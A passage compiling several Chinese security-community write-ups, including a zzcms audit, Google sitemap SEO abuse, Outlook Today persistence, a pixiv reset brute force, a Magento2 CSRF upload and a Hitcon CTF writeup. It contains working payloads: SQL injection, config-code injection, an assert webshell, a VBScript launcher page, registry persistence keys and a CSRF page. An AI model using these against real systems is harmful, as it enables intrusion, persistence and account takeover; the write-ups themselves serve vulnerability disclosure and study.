41: $sql="update zzcms_bad set lockip=1 where id in (". $id .")";
admin\userdel.php 30行
30: if (strpos($id,",")>0){
31: $sql="select id,username from zzcms_user where id in (". $id .")";
admin\usernotreg.php 32行
32: if (strpos($id,",")>0){
33: $sql="delete from zzcms_usernoreg where id in (". $id .")";
以admin/dl_sendmail.php为例
payload
id[]=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,sleep(5)%23
这里只演示一下漏洞存在 服务端会停顿一下在返回
因为延时盲注，必须要保证表中有数据
## XSS
还有一处文件上传的地方
uploadimg_form.php
意外的小惊喜 发现了一处xss 67行
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />
这个文件没有包含 config.php配置文件 也就是说，他的没有被转义
测试
## 文件上传
上传文件的流程
uploadimg_from.php ==> uploadimg.php
uploadimg.php中 有一些限制 12行
content-type的限制 很容易绕过
private $uptypes = array ('image/jpg','image/jpeg','image/pjpeg','image/gif','image/png','image/x-png','image/bmp','application/x-shockwave-flash');
//只要不设定这种类型,php类的文件就无法上传'application/octet-stream'
还有一处对后缀的判断
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm."，这种文件不允许上传');parent.window.close();</script>";exit;
}
phtml就可以绕过
这样就上传拿shell了
去找了两个危害较大并且能够互相利用的CVE 分析了一下
## RCE
CVE-2018-8966
这个漏洞需要和下面的任意文件删除相配合，因为该漏洞需要利用install.php重新安装 而zzcms安装完毕后，会生成一个锁文件install.lock
利用过程和bluecms的RCE有点相似
重新安装zzcms
在网站访问地址这里写上
1');phpinfo();#
分析一下
install/index.php 105行
$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
fclose($f);
$str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
$str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
$str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
$str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
$str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
$str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
$f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
fputs($f,$str);//把替换后的内容写入文件
fclose($f);
这里会把配置信息写入到 inc/config.php中 重点看10 11行这里 把网站地址写入到配置文件中
闭合单引号 写入代码 截断后边
1' );phpinfo();#
看下写入之后的config.php
define('siteurl','1');phpinfo();#') ;//网站地址
define('logourl','1');phpinfo();#/image/logo.png') ;//Logo地址
在访问一下 inc/config.php
当然这里也可以把代码换成xss
## 任意文件删除
CVE-2018-8965
代码在/user/ppsave.php的61行
看第一处删除文件unlink
if ($oldimg<>$img && $oldimg<>"image/nopic.gif") {
//deloldimg
$f=$oldimg;
if (file_exists($f)){
unlink($f);
}
回溯$oldimg变量
65行
$oldimg=trim($_POST["oldimg"]);
等于没处理，下一步的if判断也很好满足 不等于就行
if ($oldimg<>$img && $oldimg<>"image/nopic.gif")
### 测试
这两个漏洞加起来 RCE的漏洞还算是有点作用，要不然太鸡肋了
## 总结
这次的审计 主要是去找网站的功能，找到相应的功能后，再去找对应的代码，然后回溯变量
这种在代码量比较大的情况下，还算是好用，不过会落下一些漏洞 | 社区文章 |
# 影响Google搜索排名的漏洞
##### 译文声明
本文是翻译文章，文章原作者 Tom，文章来源：http://www.tomanthony.co.uk/
原文地址：<http://www.tomanthony.co.uk/blog/google-xml-sitemap-auth-bypass-black-hat-seo-bug-bounty/>
译文仅供参考，具体内容表达以及含义原文为准。
译者总结：
1、Google可以通过专门的Ping URL提交网站地图，并且该提交不会显示在Google Search Console中（对受害者隐形）。
2、利用受害开放式重定向（登录、登出等可以指定转向地址的地方，这里要求可以跨域重定向）构造能够转向到恶意网站的网站地图（使用hreflang，声明恶意网站是受害网站的多语言站点）的URL。
3、将2中构造的URL向1中提交，可以使恶意域名“偷取”受害者域名的链接权重、置信度、Rank。
4、本文作者使用如上方法，没花一分钱，让自己的低成本购买的域名与沃尔玛、亚马逊等域名一样排到了搜索结果第一页。
5、吐槽：Google一共给了作者1337美元的奖金，这个性价比也太高了。
> **简洁版本：**
>
>
> 对于一个成本12美元的域名，我能使它在Google中搜索亚马逊、沃尔玛等关键字的结果中排名靠前。这些AdWords的竞标价格目前为每次点击1美元左右，很多公司每月花费数千美元的费用在搜索结果中显示为广告，而且我的域名则免费显示。
>
> Google现在已经解决了这个问题，并奖励了1337美元的bug奖金。
>
>
> Google提供了一个开放的URL，您可以在其中“ping”，他们将获取并解析的XML站点地图（该文件可以包含索引编制指令）。我发现，对于许多网站，您可以ping您（攻击者）托管的站点地图，使得Google将恶意站点的站点地图视为属于受害者站点。
>
> 我相信这是他们第一次对实际的搜索引擎问题授予安全问题奖励，该问题直接影响到网站的排名。
>
> [Hacker News讨论](https://news.ycombinator.com/item?id=16762922)
> [/ r /
> netsec讨论](https://www.reddit.com/r/netsec/comments/89z47n/google_bug_bounty_for_security_exploit_that/)
作为我的常规研究工作的一部分，我最近发现了一个问题，该问题允许攻击者向Google提交一个XML站点地图，以查找未经过身份验证的站点。由于这些文件可以包含索引指令（如hreflang），因此攻击者可以利用这些指令帮助自己的网站在Google搜索结果中排名。
我花了12美元设置了我的实验，排名出现在高收费搜索条件的第一页上，并且新注册的域名没有入站链接。
## XML Sitemap和Ping机制
Google允许[提交XML网站地图](https://support.google.com/webmasters/answer/183668?hl=en)
; 这些可以帮助他们发现抓取的URL，也可以使用[hreflang](https://www.seozac.com/en-seo/hreflang-tag/)指令来帮助找到同一页面的其他国际版本可能存在的内容（例如，“嘿，Google，这是美国的页面，但我有一个德国版的页面在这个URL上
……“）。目前还不清楚Google是如何使用这些指令的（就像任何与Google搜索算法相关的指令一样），但似乎hreflang允许一个URL从一个URL’借用’链接权重和信任度（
link equity and trust
）并用它来为另外的URL提升Rank（即大多数人链接到美国.com版本，因此德国版本可以借用该权重在Google.de中获得更好的排名）。
您可以通过Google Search
Console、在robots.txt中写入或通过特殊的“ping”网址为您的域名提交XML站点地图。[Google自己的文档](https://support.google.com/webmasters/answer/183669?hl=en)似乎有点矛盾;
在页面的顶部，他们指的是通过ping机制提交站点地图，但在页面的底部他们有这样的警告（ping URL是重新提交用的）：
但是，根据我的经验，您绝对可以通过ping机制提交新的XML站点地图，Googlebot通常在ping的10-15秒内获取地图文件。重要的是，Google在页面上也提到过几次，如果您通过ping机制提交站点地图
_，它将不会显示在您的Search Console中_ ：
作为一个相关测试，我测试了是否可以通过XML站点地图添加其他已知的搜索指令（noindex，rel-canonical）（以及尝试一堆XML攻击），但Google似乎没有使用它们。
## Google Search Console提交
如果您尝试在GSC中提交XML站点地图，该站点地图包含您未被授权的其他域的URL，则GSC会拒绝他们：
我们稍后会回来。
（对不起，Jono！）
## 开放式重定向
许多网站使用URL参数来控制重定向：
在这个例子中，我将被重定向到（登录后）`page.html`。有些安全差的网站允许使用所谓的“开放式重定向”，这些参数允许重定向到不同的域：
通常这些不需要任何交互（如登录），所以他们只是立即进行重定：
开放重定向非常普遍，通常被认为并不危险; 因此，Google不会将他们纳入他们的漏洞奖励计划。但是，公司会尽力避免这些情况发生，但您通常可以绕过其保护：
Tesco是一家英国零售商，收入超过500亿英镑，超过10亿英镑的收入来自其网站。我向特易购（Tesco）报告了这个例子（以及其他一些在我的研究中发现的其他公司）。目前他们已经修复了这个例子。
## 通过开放重定向Ping Sitemaps
到了这一步，你可能已经猜到了我接下来会如何进行。事实证明，当您ping一个XML站点地图时，如果您提交的URL是重定向， _那么_
Google将跟进该重定向，即使它是跨域的。重要的是，它似乎仍然将该XML站点地图与进行重定向的域名相关联，并将重定向后的站点地图视为由该域进行授权的。例如：
在这种情况下，`evil.xml`网站地图托管在`blue.com`Google
上，但Google会将其关联为属于并且对其具有权威性`green.com`。使用此功能，您可以为您未控制的网站提交XML站点地图，并发送Google搜索指令。
## 实验：使用hreflang指令免费“偷取”置信度和排名
到了这一步，我有已经进行了一些尝试，但我没有确认Google会真的相信跨域重定向的XML站点地图，所以我做了一个实验来测试它。我做了很多更小的测试，以了解这个（以及各种死路一条）的各个部分，但并没有指望这个实验能够达到预期。
我为一家不在美国经营的英国零售公司创建了一个虚假域名，并创建了一个模仿该网站的AWS服务器（主要是通过收集合法内容并重新设计它 –
即更改货币/地址等）。我在这里隐藏公司名和行业来保护他们，所以让我们叫他们`victim.com`。
我现在创建了一个托管在`evil.com`上的虚假网站地图，但其中仅包含`victim.com`上的URL。这些URL包含每个指向等效URL的每个URL的hreflang条目`evil.com`，表明它是美国版本的`victim.com`。我使用Google的ping机制及`victim.com`的开放式重定向进行了Sitemap提交。
在48小时内，该网站只有少量的流量，逐渐显示出一个长尾（SEMRush截图）：
再过两天，我的站点出现在高竞争的条件的第一页，就与亚马逊和沃尔玛一样。
此外，`evil.com`的Google Seach Console中显示该`victim.com`链接到`evil.com`，虽然这显然并非如此：
现在，我发现我也能够为`victim.com`GSC内部提交XML站点地图`evil.com`：
Google似乎已将这些网站链接起来了，而`evil.com`搜索控制台现在有一些能影响`victim.com`设置。我现在也可以跟踪我提交的站点地图的索引（您可以看到我现在有数千页索引）。
[Searchmetrics](https://www.searchmetrics.com/)显示了流量的增长价值：
Google Search Console显示了在Google搜索中已经有超过100万的搜索展示次数和超过10,000次点击次数;
知道现在，除了提交XML站点地图，我什么都没做！
你应该注意到，我并没有让人们看到这个非法的网站，但是我曾经想过，现在，我可以欺骗人们赚很多钱，也可设置广告，再或者可以将流量变现。在我看来，这给Google访问者及依赖Google搜索流量的公司带来了严重的风险。流量仍在增长，但我关闭了我的实验，并放弃了我的后续实验，因为害怕造成损害。
## 讨论
这种方法`victim.com`完全无法检测到-XML站点地图不会显示在它们哪里，如果您正在做我实验的并且利用该方法将置信度链接到不同的国家的站点，那么您完全做到完全隐形。在该国运营的竞争对手将对您的网站的排名感到困惑（见上文，我在搜索结果中，亚马逊，沃尔玛和塔吉特，他们都花费大量资源在Google那里）。
就黑帽SEO而言，这有一个明确的用法，而且是我意识到的第一个的彻底利用的算法例子，而不是操纵排名因素。这个问题的潜在经济影响似乎并非微不足道 –
想象一下以特易购或类似目标为目标的潜在利润（我有进行更多的测试以进行更多的调查，但不会造成潜在的损害）。
Google已经为此奖励了1337美元的奖金，很高兴再次与他们打交道。感谢他们。
如果您有任何问题，意见或信息，您可以通过[email protected]，Twitter
@TomAnthonySEO或通过[Distilled](https://www.distilled.net/)与我联系。
## 披露时间表
* 2017年9月23日 – 我提交了最初的报告。
* 2017年9月25日 – Google回应 – 他们确认错误并正在研究它。
* 2017年10月2日 – 我发送了更多细节。
* 10月9日 – 11月6日 – 一些状态更新。
* 2017年11月6日 – Google表示：“本报告难以确定可以采取哪些措施来防止这种行为及其对搜索结果的影响。我已经与团队联系以获得关于您报告的最终结论。我知道他们一直在对数据进行筛选，以确定您描述的行为有多普遍，以及这是否应该立即采取相应措施。“
* 2017年11月6日 – 我回复说建议他们不跟进跨域的重定向- 没有什么好的理由，它可能只是GSC的一个特性。
* 2018年1月3日 – 我要求更新状态。
* 2018年1月15日 – Google搜索回复道：“对于延迟的道歉，我不过早的结束这份报告，因为我们无法得出一个确定的结论：如何利用重定向链来解决这个问题而不会破坏许多合法的用例。我已经回复给团队审查这份报告以获得最终结论，并会在本周回复您的回复。“
* 2018年2月15日 – Google更新，让我知道报告中存在一个错误，VRP将讨论赏金。
* 2018年3月6日 – Google让我知道了我获得了1337美元的奖金。
* 2018年3月6日 – 我与Google分享了这篇文章的草稿，并要求允许我进行发布。
* 2018年3月12日 – Google让我知道他们还没有完成修复，并要求我再等等。
* 2018年3月25日 – Google确认修复已经上线，并允许我发布这篇文章。 | 社区文章 |
# 如何利用Outlook Today主页实现本地持久化
##### 译文声明
本文是翻译文章，文章原作者 bwtech789，文章来源：Medium.com
原文地址：<https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、Outlook Today
自从微软推出KB4011162补丁后，基于ruler的主页攻击方法已经无法实现代码执行效果。因此，我继续分析了微软的补丁内容。在研究过程中我碰到了Outlook
Today，根据微软的说法，用户可以利用Outlook Today方便地获取当天日历、任务和消息的快速交互式摘要。当我研究Outtlook
Today时，我注意到其中包含一个名为数据文件属性（data file
properties）的菜单（类似于Inbox等文件夹下的属性），利用该菜单，我们可以设置主页（homepage）的地址。
这一点让我非常兴奋，但我需要找到Outlook
Today上更多可利用的点，拓展研究广度，因此我打开MFCMAPI，开始研究这些属性。在花了几个小时研究PR_FOLDER_WEBVIEWINFO以及其他属性后（这些属性可能会用来保存主页的值），我并没有得到什么结果。与Ruler的开发者Etienne
Stalmans以及MFCMAPI的开发者讨论后，我发现主页地址无法远程修改，只能通过如下注册表键值在本地修改：
HKCU\Software\Microsoft\Office\16.0\Outlook\Today\UserDefinedUrl
了解这一点后，我决定继续坚持，看是否有其他方式能够利用这一点。
## 二、本地持久化
我觉得虽然Outlook Today主页无法被远程利用，但还是可以作为后门媒介加以使用，因此我决定继续研究。经过一番努力后，我发现Outlook
Today页面可以被设置为Outlook启动文件夹。这个设置的具体路径为“文件 -> 选项 -> 高级 -> Outlook启动及退出 -> 浏览 ->
将Inbox修改为邮箱所在的目录”。这一点让我很感兴趣：如果可以通过Outlook
GUI来设置启动目录，那么肯定有种方法能够以程序性的方式来修改这些值。经过一番研究并翻阅注册表后，我发现对应的注册表键值路径为：
HKU\用户的sid\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\0a0d020000000000c000000000000046\001e0336
事实证明这是由随机数字组成的一个值，但当我们通过GUI将Outlook
Today设置为启动文件夹并更新注册表后，我们就可以得到一个值：IPF.TodaysOutlook。
非常好，那么现在我们是否可以为Outlook Today设置自定义的URL，然后通过注册表将Outlook
Today设置为启动目录？并不完全对。我注意到一点，当我们使用GUI中的“Restore
Defaults（恢复默认设置）”将主页恢复为默认值后，就无法继续设置Outlook Today主页。出于某种原因，我们无法覆盖Outlook的默认设置。
此时我决定再次研究注册表，试图寻找问题的答案。当我修改默认主页并恢复默认值，同时观察注册表的改动时，我发现这里还涉及到另一个值：
HKCU\Software\Microsoft\Office\16.0\Outlook\Today\Stamp
每次我们通过Outlook
GUI来设置自定义的主页URL时，Stamp值都会被设置为1，并且每次我们恢复默认设置时，Stamp值会被设置回0。这就能解释为什么注册表无法覆盖默认设置了，因为Stamp值充当了一个锁的角色。当Stamp值为1时，锁处于开启状态，此时我们就能够设置新的URL值。
## 三、沙箱逃逸
现在我们可以为Outlook Today设置自定义URL，也能通过程序方式将Outlook
Today设置为启动文件夹，我们需要找到一种方法来利用这个功能并实现沙箱逃逸，这个任务只需要使用基本的VBScript以及HTML就可以轻松完成：
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!-- Sub window_onload()
Set w = window.external.OutlookApplication
Set c = w.CreateObject("Wscript.Shell")
c.Run("calc.exe")
End Sub
-->
</script>
</head>
</html
## 四、隐蔽性分析
目前的成果非常丰盛，但我们想让后门更加隐蔽一些，对用户不可见，因此我们需要让shell更加透明。目前当用户打开Outlook时，他们看不到任何数据，这可能会引起某些用户的警觉。为了解决这一问题，我们只需要简单复制Outlook
Today的默认主页，将其粘贴到Internet Explorer即可。默认主页如下图所示：
使用F12检查网页元素，右键HTML顶部代码，然后选择复制内容。
将代码粘贴到沙箱逃逸代码上方，删除重复的标签，现在我们就可以在Outlook
Today中获得一个隐蔽的shell。这里需要注意的是，与默认主页相比，我们的恶意代码并没有包含收件箱（Inbox）、草稿箱（Drafts）以及消息（Message）选项卡下显示的发件箱（Outbox）链接，两者的对比如下：
恶意页面：
默认页面：
## 五、总结
我已经向微软反馈了这个问题，对方表示这种利用方法需要攻击者已经获得某种方式的访问权限，因此认为这不是一个严重的问题，不需要推出安全补丁。
虽然这种利用方法需要初始访问权限或者在物理层面接触目标，但如果我们难以在目标上建立持久化后门，还是可以将其当成一种非常好的持久化技术。此外，由于注册表键值位于用户可编辑的目录下，因此在目标系统上，攻击者只需要具备较低的权限就能利用这种攻击方法。 | 社区文章 |
# 国外漏洞报告大赏-p站任意密码重置
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 写在正式文章之前
之前在群里吹水，有师傅想看看h1的漏洞报告，然后我每天睡觉之前也会看国外的漏洞报告并做记录整理，于是决定把笔记整理的笔记发出来分享给各位，看的洞多了，自然知道哪里可能有问题、怎么测试，祝大家早日实现财富自由！
然后这个系列会一直更下去，希望国内的社区也越来越好
* * *
## 信息简介
漏洞名称 | 漏洞类型 | 漏洞站点 | 严重性 | 报告时间 | 赏金金额
---|---|---|---|---|---
Reset any password | 忘记密码的弱密码恢复机制 | www.pixiv.net | 高危 | 2019-9-30 | $1,000
## 概述
当尝试重置密码时，邮箱返回的验证码是六位纯数字，且对于提交次数没有限制，因此可以重置任意用户密码
### 验证流程
在详细讲述复现步骤之前，先了解该站点重置密码的流程：
1. 进入密码重置页面，输入需要重置的账户的电子邮件地址，这里用：[[email protected]](mailto:[email protected])；Web Server向[[email protected]](mailto:[email protected])发送一个六位纯数字的验证码，同时返回一个验证码确认页面
2. 跳转到验证码确认页面，提交该数字验证码，服务器确认正确，返回一个输入新密码页面
3. 提交新密码即完成密码重置流程
下图为重置密码的流程图
### 复现步骤
1. 先正常进行一此密码重置页面，获得输入新密码页面的url，记录发送的数据包；
2. 进入密码重置页面，输入一个电子右键账户：[[email protected]](mailto:[email protected])；
3. 进入验证码确认页面后，提交000000数字验证码，使用bp抓包记录，此处的authentication_code对应的就是六位数字验证码，然后drop掉，不发送出去；
tt=b7296b8d2e8f5bcfa4d749e07ec4a052&mode=reset&authentication_code=000000&new_password_1=123123aaa&new_password_2=123123aaa&submit=%E3%80%80%E5%8F%91%E9%80%81%E3%80%80
4. 修改输入新密码提交后发送的数据包，使用bp的爆破功能修改authentication_code的值，不断尝试，直至成功
tt=b7296b8d2e8f5bcfa4d749e07ec4a052&mode=imput_password&authentication_code=000000&newpassword_1=123456&%80Send%80%80
5. 提交成功，使用修改后的密码123456登录
### 成因分析
此漏洞的原因在于，验证邮箱发送的验证码是正确的之后，返回的是下一步的url地址，而未添加新的确认参数，导致绕过了第二步的验证码验证环节，直接在第三步的提交新密码环节进行提交，同时对于authentication_code的提交限制仅仅出现在第二步，因此第三步可以通过爆破的方式尝试出正确的验证码，从而绕过了验证码确认机制，产生了重置任意密码的漏洞
为了更加方便的理解，这下面画了正常重置密码流程和攻击者任意重置密码流程时客户端与服务端的数据交换图
### 漏洞总结
本质来说，该漏洞是一个典型的逻辑缺陷产生的漏洞，在开发者的逻辑看来看来，你需要一步步按照给定的流程进行重置密码，但是第二步和第三步提交的认证参数重合，导致了第二步认证被绕过，于是原本设计在第二步进行验证码爆破的限制措施自然也被绕过了，并最终导致可以直接进行验证码爆破重置任意密码
在尝试类似多步骤的流程中，可以尝试跳过中间的步骤，不按照程序预定的步骤顺序进行提交数据，包括跳过某些步骤、多次访问单个步骤、返回到先前的步骤等，也许下一个漏洞点就会被你发现
* * *
## 写完之后的吐槽
本来准备一次多发几篇的，不过由于画图构思的时间过长，差不多快两个小时才写完，这次就先发这一个了，后面还有更多的国外公开src漏洞报告分析，欢迎大家继续关注 | 社区文章 |
### 概述
国外安全公司DefenseCode研究人员发现了[Magento2](https://magento.com/)的一个CSRF漏洞，成功利用该漏洞可以导致任意文件上传进而实现任意代码执行。厂商至今仍未修复该漏洞。
### 漏洞原因
[Magento](https://github.com/magento/magento2)是一套专业开源的电子商务系统，可以在github上clone下代码进行代码审计及漏洞挖掘。本文要说的这个CSRF漏洞是在管理员添加产品时程序会自动请求URL中的图片链接参数remote_image，保存至本地目录并进行预览。漏洞发生在程序\app\code\Magento\ProductVideo\Controller\Adminhtml\Product\Gallery\RetrieveImage.php文件execute函数中，代码如下:
public function execute()
{
$baseTmpMediaPath = $this->mediaConfig->getBaseTmpMediaPath();//返回路径为pub/media/tmp/catalog/product/
try {
$remoteFileUrl = $this->getRequest()->getParam('remote_image');
$this->validateRemoteFile($remoteFileUrl);//验证url的协议头是否为http及https
$originalFileName = basename($remoteFileUrl);//获取文件名称
$localFileName = Uploader::getCorrectFileName($originalFileName);//对文件名特殊字符进行处理，返回处理后的文件名
$localTmpFileName = Uploader::getDispretionPath($localFileName) . DIRECTORY_SEPARATOR . $localFileName;//getDispretionPath函数以文件名前两个字母作为两个目录名称
$localFileMediaPath = $baseTmpMediaPath . ($localTmpFileName);//拼接完整文件路径
$localUniqueFileMediaPath = $this->appendNewFileName($localFileMediaPath);//创建目录
$this->retrieveRemoteImage($remoteFileUrl, $localUniqueFileMediaPath);//请求文件并保存
$localFileFullPath = $this->appendAbsoluteFileSystemPath($localUniqueFileMediaPath);//返回完整路径
$this->imageAdapter->validateUploadFile($localFileFullPath);//校验文件目录，并判断文件类型是否为图片类型。如果不是抛出异常
$result = $this->appendResultSaveRemoteImage($localUniqueFileMediaPath);//校验通过则返回文件详细信息
} catch (\Exception $e) {
$result = ['error' => $e->getMessage(), 'errorcode' => $e->getCode()];
}
/** @var \Magento\Framework\Controller\Result\Raw $response */
$response = $this->resultRawFactory->create();
$response->setHeader('Content-type', 'text/plain');
$response->setContents(json_encode($result));
return $response;
}
代码通过获取'remote
_image'的参数值，这里只判断了链接协议是否为HTTP及HTTPS，并未对文件类型及后缀进行判断。得到图片链接地址并以文件前两个字母作为两个目录名称，创建目录并请求文件以原文件名保存到在创建的目录中。最后在校验保存的文件时，如果传入的文件链接不是图片类型，则抛出异常。形如:
{"error":"Disallowed file type.","errorcode":0}
其中getDispretionPath函数的代码在\lib\internal\Magento\Framework\File\Uploader.php文件614行，从代码实现可以看到获取了文件名前两个字母分别作为目录，并且如果字母为'.'时则替换为'_
'，代码如下:
public static function getDispretionPath($fileName)
{
$char = 0;
$dispertionPath = '';
while ($char < 2 && $char < strlen($fileName)) {
if (empty($dispertionPath)) {
$dispertionPath = '/' . ('.' == $fileName[$char] ? '_' : $fileName[$char]);
} else {
$dispertionPath = self::_addDirSeparator(
$dispertionPath
) . ('.' == $fileName[$char] ? '_' : $fileName[$char]);
}
$char++;
}
return $dispertionPath;
}
retrieveRemoteImage函数调用封装的curl方法请求图片链接并保存到指定目录，其中也未做任何判断及处理，代码如下:
protected function retrieveRemoteImage($fileUrl, $localFilePath)
{
$this->curl->setConfig(['header' => false]);
$this->curl->write('GET', $fileUrl);
$image = $this->curl->read();
if (empty($image)) {
throw new \Magento\Framework\Exception\LocalizedException(
__('Could not get preview image information. Please check your connection and try again.')
);
}
$this->fileUtility->saveFile($localFilePath, $image);
}
校验目录及文件类型的函数validateUploadFile在lib\internal\Magento\Framework\Image\Adapter\AbstractAdapter.php文件711行，代码如下:
public function validateUploadFile($filePath)
{
if (!file_exists($filePath)) {
throw new \InvalidArgumentException("File '{$filePath}' does not exists.");
}
if (!getimagesize($filePath)) {
throw new \InvalidArgumentException('Disallowed file type.');
}
$this->checkDependencies();
$this->open($filePath);
return $this->getImageType() !== null;
}
虽然这里对目录及文件类型进行了校验，对于非图片类型的文件也抛出异常。但此时程序已经请求了链接并保存到本地目录中。从而实现了任意文件上传的目的。
### 漏洞利用
在说这个漏洞利用之前先了解下CSRF。CSRF（Cross-Site Request
Forgery，跨站点伪造请求），攻击者构造特定请求功能的链接诱使通过认证的真正用户或管理员点击。从而实现以受害者名义伪造请求，在未授权的情况下执行在权限保护之下的操作。
利用这个漏洞的思路就是通过构造请求，让登录用户访问，从而实现上传php文件并执行。但是上面分析也说道程序下载的文件保存在了pub/media/tmp/catalog/product/+文件名第一个字母/文件名第二个字母/文件名。tmp目录php文件并不会被解析，所以这里上传webshell的同时要在同一目录上传一个.htaccess文件。
.htaccess开启这个目录的PHP解析。内容如下: php_flag engine 1
php _flag设置可参考<http://www.php.net/manual/zh/apache.configuration.php>
在上传.htaccess文件时。该文件会保存为pub/media/tmp/catalog/product/_/h/.htaccess
所以php程序名称应以.h开头，如.hcmd.php,如:
<?php assert($_GET[stride]);?>
然后构造请求，如
<http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.htaccess><http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.hcmd.php>
待管理员访问了上述链接后即可使用
[http://10.65.10.195/magento2/pub/media/tmp/catalog/product/_/h/.hcmd.php访问webshell。](http://10.65.10.195/magento2/pub/media/tmp/catalog/product/_/h/.hcmd.php%E8%AE%BF%E9%97%AEwebshell%E3%80%82)
### 伪造请求页面
<html>
<head>
<title>Magento2(CSRF)</title>
</head>
<body>
<h2>Magento2 CSRF TEST</h2>
<img src="http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.htaccess">
<h3>Magento2 CSRF TEST</h3>
<img src="http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.hcmd.php">
</body>
</html>
### 修复建议
这个漏洞主要有两个地方设计和实现的不够合理，所以代码的修复也会在两个地方进行修改:
> * CSRF的修复，增加对refer的检测或使用Token防御CSRF攻击
> * 在请求预览图片时先校验文件及类型的合法性，然后再保存
>
### 参考
[1]
<http://www.defensecode.com/advisories/DC-2017-04-003_Magento_Arbitrary_File_Upload.pdf>
[2] <http://www.php.net/manual/zh/apache.configuration.php> [3]
<http://www.freebuf.com/articles/web/55965.html> | 社区文章 |
# Hitcon 2018 Web 题解
## Oh My Raddit
题目一开始直接告诉我们 flag 的格式：
Flag is hitcon{ENCRYPTION_KEY}
再结合题目所给的 [提示](http://13.115.255.46/static/hint.py)：`assert
ENCRYPTION_KEY.islower()`，我们可以明白本题的考点：猜测本题使用的加密算法，并破解其使用的密钥。
继续来看题目，可以看到题目中的所有链接均不是直接指向网站自身的 URL，而是向服务器进行请求：
<a href="?s=8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e">50 million Facebook accounts owned</a>
但当我们访问
<http://13.115.255.46/?s=8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e>
时，浏览器却访问了 <https://newsroom.fb.com/news/2018/09/security-update/>
所以在这里必然存在着服务器上的一个处理操作。
通过查看 burp 拦截的 Response，可以看到服务器实际上返回的是一个 `303 See Other`，再由浏览器跳转到指定的 URL。
HTTP/1.1 303 See Other
Date: Mon, 22 Oct 2018 07:24:06 GMT
Server: localhost
Content-Type: text/html
Location: https://newsroom.fb.com/news/2018/09/security-update/
Connection: close
Content-Length: 0
那么我们可以这样假设，`8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e`
实际上是对应网页的数据在某种加密过后得到的十六进制字符串，我们可以通过二者之间的明密文关系来推测使用的加密算法和密钥。
继续来看，我们可以发现修改请求参数中的部分字节（前 48 个字节之后）不影响我们得到的结果，比如访问
<http://13.115.255.46/?s=a2be4d31c8cbf83fc7be364caf7dae82b50a6fb6362320e888208fded4e2d881716d81db5701860df8c8c72896dc5bc30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074a3bfe5>
，同样能获得正确的结果。
Date →Mon, 22 Oct 2018 07:33:53 GMT
Server →localhost
Content-Type →text/html
Location →https://medium.com/@Wflki/sql-injection-oracle-and-full-width-characters-13bb86fc034a
Keep-Alive →timeout=5, max=100
Connection →Keep-Alive
Transfer-Encoding →chunked
所以可以猜测，明文的前半部分应该是每个网页所对应的 id，服务器会根据 id
返回对应的网址，所以该部分的修改会影响结果的显示，而后半部分的结果不影响结果的显示，则可能对应网页的 title，因为我们注意到 title
长度不同的网页对应的密文长度也不同，而且二者成正相关。
我们继续观察 title 和密文的关系，可以观察到存在着相同字符子串的 title 中的密文中也存在部分相同的子串，如
<a href="?s=4b596c43212b27b7c948390491293dd24f6f5f3b635ddb984c1c23f162d392ccf900061d8b6338771d8feb029243ed633882b1034e8789849136472bd93ffe2dfd8017786de53c1785a67bbbcecad1c78b096aa66c3ff957aaa3bb913d35c75f">Bypassing Web Cache Poisoning Countermeasures</a>
和
<a href="?s=b0b7a350f4a4f27848b204d056b25fb0f785e6357390b3bc73bbbbffc6bf5071b47143690fe718f21d8feb029243ed633882b1034e878984233b2d964a4138bbfe4bcb8834342001d2446e0f6d464355833f3b6c39beee1bfd5d3bce98966870">Bypassing WAFs and cracking XOR with Hackvertor</a>
title 存在着相同的子字符串 `Bypassing W`，而密文则存在着相同的子字符串
`1d8feb029243ed633882b1034e878984`，结合上文的猜测，可以看出 `assing W` 与
`3882b1034e878984` 对应。
可以注意到密文块很明显的以 8 bytes 为一组，且各组间相互独立，后续块的加密不受前面块的影响
所以结合以上的分析，可以有以下两个推测：
1. 本题使用的 DES 加密，且使用的是 ECB 模式
2. 密钥长度为 8，且均为小写字母
所以我们能得到对应明密文对 `3882b1034e878984:617373696e672b57` （题目使用了 +
